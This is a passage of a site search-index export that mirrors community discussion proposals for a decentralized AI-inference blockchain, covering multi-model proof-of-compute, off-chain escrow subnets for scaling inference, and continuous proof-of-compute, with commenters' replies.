"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#1-per-model-weight-storage-is-not-supported-by-current-data-model", "title": "1. Per-model weight storage is not supported by current data model", "text": "MLNodeInfo.poc_weight is a flat int64 with no model context (activeparticipants.proto:58). The parent EpochGroupData supports subgroups via sub_group_models (epoch_group_data.proto:19), but the subgroup state is in-memory only — epoch_group.go:111 stores them in a map[string]*EpochGroup that is rebuilt at runtime and never persisted on-chain.
For multi-model PoC, each participant needs per-model weight that survives restarts and is queryable by validators. Two options: - Extend MLNodeInfo with a model_id field and store separate entries per model - Create a new on-chain collection keyed by (epoch, model_id, participant) -> poc_weight
The second is cleaner — it avoids bloating ActiveParticipant.ml_nodes[] (which is already iterated in multiple hot paths like model_assignment.go and epoch_group.go:55-78) and allows independent pruning per model.
The proposal states \"PoC runs concurrently across all eligible groups within the same epoch\". Currently, epoch phases are sequential: GENERATION -> VALIDATION -> INFERENCE (types/params.go:165-183, durations in blocks). Broker assigns each GPU to exactly one model during PoC (model_assignment.go).
With M concurrent PoCs: - Each host needs separate GPU(s) per model — this is acknowledged (\"requires separate hardware per group\") but the broker has no mechanism to partition GPUs across PoC tasks. StartPoCNodeCommandV2 targets a single model per node (node_worker_commands.go:196-210). - Validation window scales with M — WeightCalculator (chainvalidation.go:44-192) processes validations sequentially per participant. With M models x N participants, validation latency grows linearly. Current PocValidationDuration = 6 blocks (~1 min) may be too short. - Inference degradation during PoC — the proposal says validation and inference can run in parallel, but with all GPUs occupied by M parallel PoCs, inference throughput drops to zero during the PoC phase.
Suggestion: Consider staggered PoC — each model runs its PoC in a different block range within the epoch. This avoids GPU contention and fits the existing sequential phase model.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#3-consensuskoeff-governance-circularity", "title": "3. consensusKoeff governance circularity", "text": "The proposal defines consensusKoeff_i as a governance parameter. But governance voting power = consensus weight = f(consensusKoeff). A group whose members hold majority consensus weight can vote to increase their own consensusKoeff, concentrating power further.
The cap in Appendix A (capping weight by members' weight in other groups) partially mitigates this for new groups, but does not address the initial group (group_Qwen3-235B-FP8 is explicitly exempt from the cap).
Suggestion: Bound consensusKoeff range per model (e.g., [0.5, 2.0] relative to a baseline), and require supermajority (67%) for changes — matching the BFT threshold already used for consensus.
The proposal covers main PoC but does not mention Confirmation PoC (confirmation_poc_v1.go:10-63). cPoC is triggered during inference phase to verify nodes still have hardware — it is essential for liveness.
With multi-model: - Should cPoC verify all models a host claims to serve? That multiplies cPoC load by G (number of groups). - Or only the model currently being inferred on that host? Then hosts serving low-demand models skip cPoC entirely. - Current cPoC uses ConfirmationWeight from EpochGroupData (epoch_group_data.proto:47) — a single field, not per-model.
This needs explicit design — cPoC is the defense against hosts that pass main PoC then deallocate hardware.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#5-settlement-reward-split-between-groups", "title": "5. Settlement reward split between groups", "text": "The proposal defines consensusWeight(p) = sum(consensusKoeff_i * pocWeight(group_i, p)) for consensus power, but does not specify how bitcoin-style rewards (the main economic incentive) split between groups.
Current settlement (bitcoin_rewards.go) distributes rewards proportional to global weight with confirmation weight capping. With multi-model: - Are rewards pooled globally and distributed by aggregated consensusWeight? Then hosts in high-consensusKoeff groups earn disproportionately. - Or split per-group first, then distributed within group? Then we need to define the split ratio (by consensusKoeff? by inference demand?).
This has major economic implications — it determines whether hosting a niche model is viable vs everyone piling into the highest-coefficient model.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#concrete-implementation-path-suggestion", "title": "Concrete implementation path (suggestion)", "text": "Given the complexity, a phased rollout seems practical:
Phase Scope Dependency 1 Persistent per-model subgroups + per-modelpoc_weight storage Proto + keeper changes only 2 Staggered per-model PoC generation + validation Broker + epoch phase logic 3 Delegation mechanics (on-chain tx + voting power aggregation) New msg types + validation changes 4 consensusKoeff governance + mandatory participation penalties Governance module integration Phase 1 can ship independently and is useful even without delegation — it enables per-model weight tracking which the chain currently lacks.
Happy to help with implementation review or prototyping any of these areas.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/", "title": "#801 — Inference Scaling", "text": "🔄 Auto-sync: from Discussion #801 every hour.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#inference-scaling", "title": "Inference Scaling", "text": "Автор: @gmorgachev · Категория: Proposals · Создано: 2026-02-25 04:29 UTC · Обновлено: 2026-02-28 22:49 UTC
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/0801-inference-scaling/#proposal-inference-scaling", "title": "Proposal: Inference Scaling", "text": ""}, {"location": "community/discussion/proposals/0801-inference-scaling/#problem", "title": "Problem", "text": "Per inference, the following transactions are recorded on-chain: - MsgStartInference - MsgFinishInference - MsgValidation (0 to N_hosts per inference; let's consider case when it's 1 tx for simplicity)
3 txs per inference. Max capacity per block is ~5000 => 5000 / 3 = 1666 inferences per block => 1666 / 6 = 277 inferences per sec
Consider 4xH100 with Qwen3-235B deployed. For 5000/1000 input/output tokens, such a setup can process 3.5-4 RPS (TODO: confirm) => 277 / 3.5 * 4 = 316 H100 GPUs to saturate the chain
Requests could be batched into a single transaction, but the computation and state growth per request makes this not scalable to hundreds of thousands of inferences.
The bottleneck is better with longer requests (more compute per tx) and worse with smaller models (more RPS per GPU, more txs per GPU).
Note: in practice, the main limit is not the transaction count but the computation cost per block. It becomes a problem above a few hundred such transactions per block. Based on profiling it can be optimized 2-10x (or even 100x), but this limitation will hit before the tx count limit. The current proposal still tries to address the whole problem.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#proposal", "title": "Proposal", "text": "This proposal describes an approach that moves all per-inference communication off-chain. The chain processes only two transactions: one to put coins in escrow and assign a subgroup of hosts, one to settle at the end. All inference communication and validations happen inside the subgroup directly, over a long session (e.g. one epoch). To close the session, the user submits the final usage state signed by a supermajority of hosts (threshold: 2/3 slot-weighted). Both sides have a clear incentive to settle: the user recovers the unused escrow balance, and the subgroup gets paid from it.
Effectively, as each subgroup would have to achieve consensus for the final state, the architecture will consist of: - main blockchain - many sub-chains / shards with extremely lightweight architecture
Sub-chains will be able to process only the inference related transactions and their decision might affect only the escrows, assigned to such sub-chains
Note: \"sub-chain\" does not have to mean a real blockchain. Because the group carries no state outside of its assigned user, groups can be dynamic: formed per session, with large overlaps between them. The only thing they share is the mainnet escrow as anchor.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#architecture", "title": "Architecture", "text": "+-----------+ +-------------------+ +----------------------------+\n| User | | Mainnet | | Subnet (one per session) |\n+-----------+ +-------------------+ +----------------------------+\n | | |\n | 1. MsgCreateEscrow | |\n | (100GNK) | |\n | -----------------> | |\n | <- escrow_id, | |\n | group=[h1..hN] | |\n | | |\n | 2. POST /chat (req1) --------------------------> |\n | 3. POST /chat (req2) --------------------------> |\n | 4. POST /chat (reqN) --------------------------> |\n | ... | |\n | | |\n | 5. MsgSettleEscrow | |\n | (finalState, | |\n | signatures, ..) | |\n | -----------------> | |\n | <- user refund + | |\n | hosts paid | |\n+-----------+ +-------------------+ +----------------------------+\nUser sends exactly 2 transactions to mainnet: MsgCreateEscrow to open the session, MsgSettleEscrow to close it. All inference requests happen directly with the assigned subnet group; mainnet never sees individual requests.
MsgCreateEscrow(100GNK) MsgSettleEscrow(state_root, nonce, signatures, usage, host_stats, ...)Q1: Who decides host punishments, the subchain or mainnet?
If the subchain decides: it needs to aggregate stats across users, which requires shared persistent state per group, which requires fixed groups rather than dynamic per-user ones.
Current approach: mainnet decides. The subchain only records raw per-session stats (missed/invalid counts per host) inside MsgSettleEscrow. Mainnet aggregates across sessions and applies punishment. Can be revisited.
Q2: Do hosts maintain per-group state or per-user state?
If per-group: same consequence as Q1 option A, fixed groups required.
Current approach: per-user, following from Q1. Each host tracks only what happened inside each user session. No shared state between users in the same group. This is what makes dynamic per-session groups possible. Can be revisited.
The further proposal follows this architecture: \"chain per user\".
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#main-network-protocol", "title": "Main Network Protocol", "text": "MsgCreateEscrow(\n creatorAddr\n amount,\n)\nMsgCreateEscrow 2. return id to sample N(64?) slots-hosts using weighted random sampling (see proposals/poc/optimize.md for the slot idea) 3. interact in sub-chain during session 4. settle on-chain via MsgSettleEscrow MsgSettleEscrow(\n escrow_id, # session identifier\n state_root, # Merkle root: hash(host_stats_hash || rest_hash)\n nonce, # latest nonce\n signatures, # map[slot_id -> sig] over (state_root, escrow_id, nonce)\n rest_hash, # Merkle sibling: hash(balance || inferences_hash)\n host_stats, # map[slot_id -> HostStats]\n)\n\nHostStats(\n missed, # execution misses (started but never finished)\n invalid, # inferences invalidated by challenge voting\n cost, # total cost of inferences executed\n required_validations, # inferences ShouldValidate selected for this host\n completed_validations, # MsgValidation txs actually submitted\n)\nMainnet recomputes host_stats_hash from the submitted host_stats, verifies hash(host_stats_hash || rest_hash) == state_root, then checks 2/3+ slot-weighted signatures over (state_root, escrow_id, nonce). Settlement does not require individual inference records. The mandatory finalizing round ensures all inferences are resolved and validation compliance is computed before settlement.
The subnet is a lightweight shard with voting weight provided by mainnet. It settles back to mainnet when the session ends.
Design goals: lightweight, parallelizable, enforce that the user uses all hosts from the group.
What does the user want? Send OpenAPI-compatible REST requests (/chat/completions, /embeddings, etc.) and know as little as possible about the blockchain.
What does the chain want? Same properties we tried to achieve on mainnet: - Know when each request starts and finishes. Other hosts measure executor performance against expected throughput and punish underperformance (missed rate). - Know the hash of prompt (signed by user) and hash of response payload (signed by executor). Prompt signature authorizes payment. Payload signature enables probabilistic inference validation (invalid rate). - Enforce distribution of requests across executors proportionally to their weight.
The chain needs these properties but does not want to process this data on mainnet.
Subnet transaction types (all off-chain, inside the subnet only): - MsgStartInference (user) -- authorize inference, reserve cost - MsgFinishInference (host) -- record completion, response hash, token counts - MsgValidation (host) -- validation result; valid=false opens challenge voting - MsgValidationVote (host) -- vote during challenge window - MsgTimeoutInference (host) -- declare inference timed out - MsgRequestPrompt (host) -- recovery: request prompt data the user withheld
Per-user state. State is saved per user independently. Each user's history is a chain of diffs. Each diff is essentially a block. Since there is no cross-user state, a node operator can shard its database and resources per user. Each node can participate in any number of subnets simultaneously. Subnet processing scales linearly with user count. Only escrow creation and settlement on mainnet do not.
User-driven propagation. The user is responsible for sequencing and propagating transactions. User attaches accumulated diffs to each inference request. This piggybacks propagation on normal API usage.
Round-robin host ordering. The user must iterate hosts in the group in a predefined order. This naturally distributes requests across hosts (not real work amount, but request count). Each diff carries a nonce that determines the expected recipient: slot_at_position(nonce % group_size). The receiving host verifies it is the expected recipient for the nonce before processing. If it is not, the request is rejected. This enforces round-robin and prevents skipping.
Signing flow. When a /chat/completions request is sent to host1, the user creates MsgStartInference(1). If host1 is honest, it must immediately return (state, signature) without waiting for execution. After execution, host1 signs MsgFinishInference(1) and the user propagates it to the network in the next round (or later, depends on performance). Locks should only be needed to generate new nonces and compose new messages, not to record incoming data. The user does not block on receiving a host's signature before sending the next request. Signatures arrive asynchronously and get included in later diffs. This keeps request submission fast at the cost of signatures lagging behind by one or more rounds.
Escrow accounting. On each MsgStartInference, the subnet tracks spending against the user's escrow balance. Same idea as mainnet: verify user has enough funds before accepting the request. Minimum escrow balance must be at least subnet_size * max_inference_cost at all times, ensuring enough to cover the worst case where every host in the group is processing a concurrent request.
Host unavailability. If a host is not available, the user continues to the next host in order. Since each request carries ALL accumulated diffs for the current round, it includes the unsigned diff for the unavailable host. Detection and recovery are handled via nonce propagation (see scenarios below).
Nonce propagation. After processing each user request, the receiving host gossips the current nonce to the group. Small constant-overhead message. Each host tracks the highest nonce seen. If host_i sees that nonce has advanced past its assigned position but was never contacted, it detects a gap and can act proactively. This is the only reliable detection mechanism: other hosts cannot distinguish \"still computing\" from \"never received data\" by looking at diffs (execution time varies), and signature lag is normal (signatures always trail by at least one round).
Host-proposed transactions. Hosts produce transactions (MsgFinishInference, invalidation triggers, etc.) that must be included in the state. The user is the sequencer, but cannot be trusted to include them. Propagation channels: - Response body: host returns its proposed transactions to the user alongside the inference result. - Lazy gossip: host pushes proposed transactions to other hosts only if the user hasn't included them after K rounds. Zero overhead in the happy path. - Public endpoint: each host exposes its unsettled transactions per session. Fallback if lazy gossip fails.
Inclusion enforcement. Two different rules depending on who proposed the transaction: - User-proposed (MsgStartInference): must appear in the very next round's diffs. The user has them at creation time, no reason for delay. - Host-proposed (MsgFinishInference, etc.): K rounds grace period (TBD). Accounts for async lag. After K rounds without inclusion, hosts trigger lazy gossip and refuse to sign.
Each host response includes its unsettled mempool so the user always knows what's pending.
Retry on refusal. If a host refuses to sign because the user hasn't included pending transactions, the user retries the same nonce with the missing transactions appended. The diff at a given nonce is append-only: a retry must be a strict superset of the original attempt. The host stores the first attempt's tx list and rejects any retry that removes or replaces transactions from it. This prevents equivocation -- the user cannot create two conflicting versions of the same nonce. K rounds is generous (tens of requests across the full group), so a well-behaved user client includes all known pending transactions automatically and never hits refusal.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#scenarios", "title": "Scenarios", "text": ""}, {"location": "community/discussion/proposals/0801-inference-scaling/#everyone-is-working-correctly", "title": "Everyone is working correctly", "text": "Group = [h1, h2, h3, h4, h5], user sends 3 requests in round-robin order.
User -> h1: POST /chat/completions (req1)\n diffs: [MsgStartInference(1)]\n h1: starts executing, signs state(nonce=1), returns (sig_h1, mempool=[])\n h1: after execution, creates MsgFinishInference(1), gossips to h2..h5\n\nUser -> h2: POST /chat/completions (req2)\n diffs: [MsgStartInference(1), MsgStartInference(2)] // no sig_h1 yet\n h2: signs state(nonce=2), returns (sig_h2, mempool=[])\n\nUser -> h3: POST /chat/completions (req3)\n diffs: [MsgStartInference(1) + sig_h1,\n MsgStartInference(2) + sig_h2,\n MsgFinishInference(1),\n MsgStartInference(3)]\n h3: checks local mempool:MsgFinishInference(1) present (via gossip), included, ok\n h3: signs state(nonce=3), returns (sig_h3, mempool=[])\nTransaction statuses after 3 requests: - MsgStartInference(1): settled (3 sigs: h1, h2, h3) - MsgStartInference(2): proposed (2 sigs: h2, h3) - MsgFinishInference(1): proposed (1 sig: h3) - MsgStartInference(3): proposed (1 sig: h3)
The user is the sequencer: it decides at which nonce each transaction is placed. All hosts seeing the same nonce see the same content. Signatures lag behind by one or more rounds.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#host-doesnt-respond-or-doesnt-finish-inference", "title": "Host doesn't respond or doesn't finish inference", "text": "MsgStartInference(N) exists in the state but MsgFinishInference(N) never arrives. Possible causes: - Host genuinely down, didn't receive the request - Connection broke between user and host mid-request - Host received data but refuses to compute - User recorded MsgStartInference but withheld prompt data from the host
Attribution is hard. The user could attack a host by recording MsgStartInference but withholding prompt data. The host could attack by pretending not to have received it. Both look identical from the outside. Without a recovery mechanism, whoever is honest gets punished.
If host_i signed the state at nonce N: host_i acknowledged receipt. The signature propagates through later diffs, so all hosts can verify host_i had the data. If MsgFinishInference(N) doesn't arrive by timeout, missed += 1 for host_i. No ambiguity.
If host_i never signed: ambiguous. Recovery protocol applies.
Recovery protocol: 1. host_i detects via nonce propagation that a nonce assigned to it has passed without receiving data. 2. host_i gossips MsgRequestPrompt(N) to the group. 3. Each host that sees MsgRequestPrompt(N) independently includes it in its next response to the user: \"provide prompt for nonce N.\" 4. A small relay group is sampled using a mainnet block hash as randomness. MsgRequestPrompt includes a target_height field set to the current known mainnet height + small delta (e.g., +2 blocks). The relay group is hash(escrow_id, inference_id, block_hash_at_target_height) % group_size. Nobody knows the block hash at target_height when MsgRequestPrompt is created, so the user cannot grind for a favorable relay group. Resolving the relay group requires one bridge call to fetch the block hash once target_height is reached. This only happens on the recovery path (rare). host_i has already committed to the claim (via gossip) before the block is produced. 5. User provides prompt data to the relay group. Each member signs a receipt and relays to host_i independently. 6. host_i computes, produces MsgFinishInference(N). User can reconnect to host_i directly for the response, or receive it through a relay member. 7. If host_i still hasn't received the data, host_i can re-request with another MsgRequestPrompt.
If user doesn't provide prompt within R_prompt rounds (TBD), hosts refuse to sign further state updates. host_i not penalized.
If host_i receives prompt via relay but still doesn't finish by timeout, missed += 1. Multiple hosts can attest the prompt was delivered.
Timeout. Timestamp in MsgStartInference + T seconds. On mainnet, timeout was block-height-based (expirationHeight). In the subnet there are no blocks, so wall-clock time anchored to the StartInference timestamp is the replacement. T must account for the full recovery protocol (nonce propagation + MsgRequestPrompt + prompt relay + execution).
Incentives. The recovery protocol removes both attack vectors: - User cannot selectively starve a host of data. The group detects the gap via nonce propagation and requests the prompt through intermediaries. If the user refuses within R_prompt rounds, hosts stop signing. - Host cannot pretend it didn't receive data. The group will deliver it via relay. If the host still doesn't compute, it's clearly at fault.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#user-creates-startinference-but-doesnt-provide-data-to-host_i", "title": "User creates StartInference but doesn't provide data to host_i", "text": "Covered by the recovery protocol above. This is the \"user withheld prompt data\" cause. Nonce propagation detects the gap, MsgRequestPrompt forces the user to provide data or face hosts refusing to sign.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#user-sends-request-to-host_i-but-doesnt-record-startinference", "title": "User sends request to host_i but doesn't record StartInference", "text": "Not possible. host_i checks the diffs and rejects requests without a corresponding MsgStartInference. No StartInference = no payment authorization = no reason to compute.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#inference-validation", "title": "Inference Validation", "text": "Validation is probabilistic, same as on mainnet. Each host independently decides which inferences to validate using a deterministic seed and the same ShouldValidate logic.
On mainnet, hosts commit a seed at epoch start and reveal it at epoch end. The subnet has no epochs. Instead, the seed is derived deterministically from the host's private key and the escrow_id: seed_i = first_8_bytes(sign(escrow_id_bytes)). One seed per host per session. The host has no freedom to choose a different seed since signing is deterministic and the public key is known.
The signing key is pinned by the host's first state signature in the session. Each host records which key other hosts used. At reveal time, the seed signature must match the pinned key. A validator with multiple warm keys cannot try different keys at reveal time to influence which inferences it must validate.
During the session, each host uses its seed to decide which finished inferences to validate. If selected, host_i re-executes the inference, compares logits, and submits MsgValidation into subnet state.
Seed reveal happens during the mandatory finalizing round (see Settlement). Each host submits MsgRevealSeed(signature). Other hosts derive the seed from the signature, verify it against the known public key, re-run ShouldValidate for all finished inferences, and count misses. Compliance results go into host_stats before settlement.
We considered deriving the seed from the host's state signature at each nonce (no commit-reveal, no finalizing round). This avoids the extra round but requires signatures to be part of state for compliance verification. Signatures are deliberately not in state because they arrive asynchronously and would break deterministic state hashing. The finalizing round with reveal is simpler overall and also removes the need for a Merkle tree in settlement.
Note: the finalizing round could potentially be eliminated if the validation process is redesigned to not require a commit-reveal scheme (e.g. seeds derived from data already in state). This would allow settlement at any point without waiting for a full group round, improving liveness. Requires further refinement of the validation protocol.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#settlement", "title": "Settlement", "text": "Before submitting settlement to mainnet, the user must complete a finalizing round. The user sends empty requests (no new MsgStartInference) in round-robin to the full group. Each host attaches pending MsgFinishInference, MsgRevealSeed, and any remaining MsgValidation. After the full round, all inferences are resolved, all seeds are revealed, validation compliance is checked, and host_stats are final.
User then submits MsgSettleEscrow (see Main Network Protocol above) to mainnet. Mainnet verifies 2/3+ slot-weighted signatures over (state_root || escrow_id || nonce) and settles the escrow: each host is paid from escrow according to host_stats[slot].cost, remaining balance is refunded to user.
Note: the list of individual signatures can be replaced with an aggregated BLS signature in the future to reduce tx size.
Settlement enters a dispute window of X blocks (TBD). During the window, any host can submit a competing state with a higher nonce and 2/3+ signatures. If such a state exists, the user submitted stale state: all remaining escrow goes to hosts as penalty. If no competing state appears within X blocks, settlement finalizes.
User disappears. Any group member can submit MsgSettleEscrow after a timeout. All hosts have full state within one round (propagated via diffs). If a host is missing recent state, it can request it from other hosts via the public API endpoint. Same 2/3+ signature requirement, same dispute window. TODO: define timeout trigger (wall-clock from last nonce vs escrow expiry height at creation).
Inflated state. User claims less usage than actually happened (to get a larger refund). Requires 2/3+ host signatures over the false state. Reduces to BFT assumption: safe as long as <1/3 of slot-weighted hosts are malicious.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#example-requests", "title": "Example requests", "text": "Third request in the happy path (sent to h3). Carries all accumulated diffs with signatures collected so far.
POST /chat/completions\nHost: h3\n\n{\n \"model\": \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n \"stream\": true,\n \"messages\": [\n {\"role\": \"user\", \"content\": \"Write a haiku about Seattle.\"}\n ],\n \"diffs\": [\n {\"nonce\": 1, \"txs\": [\"MsgStartInference(1)\"], \"sigs\": [\"sig_h1\"]},\n {\"nonce\": 2, \"txs\": [\"MsgStartInference(2)\"], \"sigs\": [\"sig_h2\"]},\n {\"nonce\": 3, \"txs\": [\"MsgFinishInference(1)\", \"MsgStartInference(3)\"], \"sigs\": []}\n ],\n \"state_hash\": \"<SHA256>\"\n}\nFor comparison, the first request (to h1) carries only one diff:
{\n ...\n \"diffs\": [\n {\"nonce\": 1, \"txs\": [\"MsgStartInference(1)\"], \"sigs\": []}\n ],\n \"state_hash\": \"<SHA256>\"\n}\nEach diff is a block at a given nonce. Signatures for earlier nonces accumulate over time as hosts return them. By the 3rd request, sig_h1 (returned with req1 response) and sig_h2 (returned with req2 response) are attached to their respective nonces. Nonce 3 has no signatures yet: h3 will sign it and return sig_h3 in the response.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#weights-in-subnet", "title": "Weights in subnet", "text": "Subnet group formation reuses the slot sampling mechanism from PoC validation (see proposals/poc/optimize.md).
Slot assignment is a deterministic function of (app_hash after escrow creation, escrow_id, validator_weights) using the same GetSlotsFromSorted algorithm as in PoC. The chain does not need to compute it at escrow creation. Anyone can derive the group independently. The chain only verifies the group was correct at settlement time (MsgSettleEscrow).
Each slot maps to a host. If a host is sampled into 3 slots, it has weight 3 in the subnet. Each slot carries weight 1. This preserves the mainnet weight distribution inside the subnet without requiring any additional weight tracking.
The slot sequence also defines the round-robin order for user requests.
Requirements for slot count are less strict than in PoC. In PoC, slots protect against adversarial validation (fake participant attacks). In the subnet, the group only needs enough redundancy for availability and settlement signatures. The exact slot count (64 vs 128) is TBD.
TODO: define settlement signature threshold relative to slot count
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#4", "title": "💬 Комментарии (4)", "text": ""}, {"location": "community/discussion/proposals/0801-inference-scaling/#1-gmorgachev", "title": "Комментарий 1 — @gmorgachev", "text": "2026-02-25 04:31 UTC
I'd consider the current proposed implementation of \"subchain\" as a sketch. There are many options how it can work, the described option can be the first iteration as it's relatively straightforward
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#2-sy-media", "title": "Комментарий 2 — @SY-MEDIA", "text": "2026-02-25 11:51 UTC
This would certainly be a big improvement. But applying this pattern to a more scalable BFT ledger, such as the Obyte DAG, would scale things to much higher levels and add a rich set of derivative functionality.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#3-tcharchian", "title": "Комментарий 3 — @tcharchian", "text": "2026-02-27 20:55 UTC
Please consider joining the discussion on this proposal and sharing any ideas or suggestions. An initial version will be provided by the proposal author, and feedback from participants will help refine the approach and clarify next steps.
"}, {"location": "community/discussion/proposals/0801-inference-scaling/#4-sy-media", "title": "Комментарий 4 — @SY-MEDIA", "text": "2026-02-28 22:49 UTC
Any chance those currently excluded could be still allowed to join but with no entitlement to rewards? This would allow for more testing and allow prospective hosts to be fully ready when the system is ready to allow them back on. At the moment it looks like too much time will have passed with no interaction from excluded hosts.
"}, {"location": "community/discussion/proposals/0802-continuous-poc/", "title": "#802 — Continuous PoC", "text": "🔄 Auto-sync: from Discussion #802 every hour.
"}, {"location": "community/discussion/proposals/0802-continuous-poc/#continuous-poc", "title": "Continuous PoC", "text": "Автор: @mtvnastya · Категория: Proposals · Создано: 2026-02-25 05:12 UTC · Обновлено: 2026-03-26 17:37 UTC
"}, {"location": "community/discussion/proposals/0802-continuous-poc/#_1", "title": "📝 Описание", "text": "This proposal is closely related to proposal for multi-model PoC and can be seen as it’s continuation.
"}, {"location": "community/discussion/proposals/0802-continuous-poc/#problem", "title": "Problem", "text": "If we want to serve small models - we need to do PoCs via small models as well (see proposal multi-model PoC).
But this opens us to an attack vector when a malicious host can deploy a small model quick enough to participate in both PoC and cPoC with new nodes that were not participating in users’ inference. This attack vector was the reason behind switching to PoCv2 inside vLLM and selecting a large model (Qwen3-235B-FP8) for it.
Note: If someone still tries to cheat and doesn’t have 100% of their compute available at all times, in general, the network can catch such behaviour because of increasing miss rate - this works for large models. But in order to significantly utilize compute with deployed small models, the chain would have to serve an enormous amount of user inferences and overhead on recording their metadata would be more significant, which is a parallel engineering challenge the chain is solving now. Thus, for now, it is practically impossible to catch any malicious behaviour of participants serving small models because their miss rate will never be high enough because of the underutilization of compute. This can be solved by proposal for inference scaling.
"}, {"location": "community/discussion/proposals/0802-continuous-poc/#proposal", "title": "Proposal", "text": "Current implementation of POCv2 has quite an artificial limitation - the GPU executes only one type of computation at a time: either inference or nonce check. De-facto, it’s the exactly same computation internally and can be computed fully parallel if GPU allows (in the same batch, utilizing all engine’s optimizations like dynamic batching)
If we get rid of this limitation, there is no need to have different phases: POC and INFERENCE. POC can work in parallel with inference and verify all the hardware which is not utilized by real requests at the moment (maintaining utilization level not to slow-down user requests).
So, essentially if the host has 100 GPU but chain has requests to utilize only 0.5 of them, 99.5 will be verified by the POC procedure.
There is an open question how to properly “weight” how many nonces should be compensated by particular inferences with different input / output lengths. It’s quite important to make sure that the UX of real inferences doesn’t change (inference itself is not slower).
Such continuous POC would not introduce significant overhead as only lightweight commits are recorded on-chain. The real artifacts are stored locally and requested directly. The validation itself doesn’t have to cover 100% of the epoch block but can be randomized and trigger some-revalidation for malicious fragments.
"}, {"location": "community/discussion/proposals/0802-continuous-poc/#implementation", "title": "Implementation", "text": "[to be discussed]
"}, {"location": "community/discussion/proposals/0802-continuous-poc/#3", "title": "💬 Комментарии (3)", "text": ""}, {"location": "community/discussion/proposals/0802-continuous-poc/#1-gmorgachev", "title": "Комментарий 1 — @gmorgachev", "text": "2026-02-25 05:16 UTC
Implementation of this idea would directly enable adding back small GPUs.
"}, {"location": "community/discussion/proposals/0802-continuous-poc/#2-laboltus", "title": "Комментарий 2 — @Laboltus", "text": "2026-02-27 08:22 UTC
24/7 100% utilization of GPUs will lead to high power consumption, servers overhead, performance issues etc., right ?
"}, {"location": "community/discussion/proposals/0802-continuous-poc/#3-blizko", "title": "Комментарий 3 — @blizko", "text": "2026-03-03 09:25 UTC
Whilst having mathematical beauty - this solution has a serious adverse effect of high energy consumption. This drives away from the philosophy of devoting most of the compute power to inference. There is also a significant risk that during high inference load, the compute capacity for generating nonces might be very low, thus making the reconciliation of PoC compute vs inference extremely challenging on the long run.
The primary problem is a scenario where a malicious actor can bypass the cPoC and PoC by loading the model fast enough and generating enough nonces within the generation window.
Let’s consider some alternatives. In regards to Proof of Compute: - Immediate cPoC generation start. In this case nonce generation starts on the trigger block - no grace period is allowed. In this case the malicious actor is forced to cover the load time of the model with higher amounts of compute (rough ratio - 1 / (window time – load time)). E.g. - if model load time takes 50% of the generation window time, to achieve the same amount of weight it is required to have 2x of the original compute capacity. - Enhancement - Short PoC / cPoC generation window. If we assume that the overall generation window is close to model load time – it is near to impossible to achieve the confirmation ratio of 50% without having the compute capacity online.
In regards to overall network health (avoiding abuse of serving only small models): - Weight cap per MLNode for specific models. We introduce a maximum weight that can be achieved by an MLNode. In this scenario we might introduce a hard barrier for entry with specific GPUs, making it more efficient to be hosted on mid-range GPUs, and leave the capacity open for high-end models - Network enforced model selection. The initial design included the idea that validators can serve multiple models, and it is decided by the network which validators serve the exact model (demand induced dynamic changes). This mechanism can be used to ensure that only a range of MLNodes across the whole network are selected to serve the specific small model. This significantly lowers the chances that a selected validator will be interested in manipulating with allocated compute power.
Note – This also has an adverse effect that some validators might be excluded from the network due to absence of demand. However in case the model range exceeds the network capacity, that should not be an issue. Also - that is actually a self-regulation mechanism once the block subsidy is lower than inference processing revenue.
↳ Ответ от @sysmanalex · 2026-03-03 17:40 UTC
Suggesting: 1. reward distribution model RDM - Reward distribution based on model consumption economics and daily revenue
Rewards are distributed proportionally to the actual compute consumption of different models (e.g., the number of inference requests, input/output tokens) and their contribution to network revenue per day from real consumers.
Distribution does not occur immediately, but rather after 24 hours, based on actual metrics (miss rates, utilization, revenue share). This incentivizes honest behavior, as fake workloads will not yield immediate benefits. This mechanism is essentially easy to organize and maintain. it guarantees a dynamic and fair market. The rewards distributed are the same as the rewards paid out. QWEN3 5 nodes weight/proportion - 180k gnk paid 24h ok, GLM 20 nodes weight/proportion - 285k gnk ok. simple, transparent, useful stats.
Advantages: Reduces risks from small models (low income - low rewards), all data is already available
Description: Classify GPUs by power (VRAM, cores, flops, mem, disk & etc ) and lock them into groups: small GPUs (e.g., <8GB VRAM) only run small models (<1B params), medium → medium models, large → large models. This prevents exploits where small GPUs fake-load large models just for PoC.
Simpler PoC: Register GPU specs on node join (self-report + validation via benchmark nonce). require: To implement a network enforcer to dynamically assign models to groups based on demand. still require RDM.
🔄 Auto-sync: from Discussion #816 every hour.
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#gonka-node-manager-automated-node-deployment-updates-and-monitoring", "title": "Gonka Node Manager — Automated Node Deployment, Updates, and Monitoring", "text": "Автор: @ochenUmnayaKatyshka · Категория: Proposals · Создано: 2026-02-26 11:49 UTC · Обновлено: 2026-03-09 12:33 UTC
